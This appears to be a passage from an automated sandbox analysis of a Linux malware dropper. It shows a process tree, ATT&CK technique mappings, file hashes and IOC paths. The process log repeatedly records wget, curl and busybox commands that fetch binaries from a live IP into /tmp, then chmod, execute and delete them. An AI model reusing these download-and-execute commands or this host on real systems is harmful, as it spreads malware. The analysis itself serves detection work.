  /bin/busybox wget http://87.120.84.230/bins/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:954
- /bin/chmod
  chmod 777 naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  ./naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:960
- /bin/chmod
  chmod 777 WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  ./WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:962
- /bin/rm
  rm WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
  2⤵
  - System Network Configuration Discovery
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:966
- /bin/chmod
  chmod 777 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  ./3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm 3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
  2⤵
  PID:969
- /usr/bin/wget
  wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:970
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:971
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:972
- /bin/chmod
  chmod 777 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - File and Directory Permissions Modification
  PID:973
- /tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  ./52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  - Executes dropped EXE
  PID:974
- /bin/rm
  rm 52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
  2⤵
  PID:975
- /usr/bin/wget
  wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:976
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:977
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:978
- /bin/chmod
  chmod 777 R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  ./R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
  2⤵
  PID:981

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P

Path /tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	740	naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	746	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	752	3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	780	52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	809	R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI
/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	815	xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	821	gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	844	anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	866	XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	872	7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	878	a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	884	L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	890	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	896	m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
/tmp/xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg	902	xP8mEfT2Qu3msdVy7MeuuwceOFc6y7vmgg
/tmp/gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a	908	gWYKMLGy6OMSKUTTfGs8AFtbuoYS0AbX9a
/tmp/anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1	914	anDqrPtlUE5aVPTNA93LDcpYxErHCbltz1
/tmp/XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w	920	XSQB4lGGolQS4w9Khi83SqvNxAnAiun81w
/tmp/7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ	926	7ob3Tnk0jwfjGaieyxsx9vjTwOFHZJ9BIQ
/tmp/a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0	932	a957IkayQeJLHxXhTOVChTXid1jcJ6JMl0
/tmp/L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8	938	L7R1aozUhtjtnaoLplFFp9YLs78TqjYxw8
/tmp/iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH	944	iPgUWq6iRbUWxapgXH9RYtQjrb6bzCdjMH
/tmp/m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS	950	m2Q8FKmWKmV6vAtgUThNmTXk0LEsT4adJS
/tmp/naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P	956	naBN6wyx80Xo1fdFv0pgsCwJFaanxRV45P
/tmp/WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh	962	WJ37dAB08Pi7x9kb6rlip6QYKSdpMB5ouh
/tmp/3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo	968	3Dlq44ljL99fzepItGPc41IZqo4gtwpBRo
/tmp/52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd	974	52GOMiWktBxJaKJ1ws1fZXyprZZJ4JQsBd
/tmp/R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI	980	R7DKiHXXs4WZJD5xoMKWvQvd4fljtT1rtI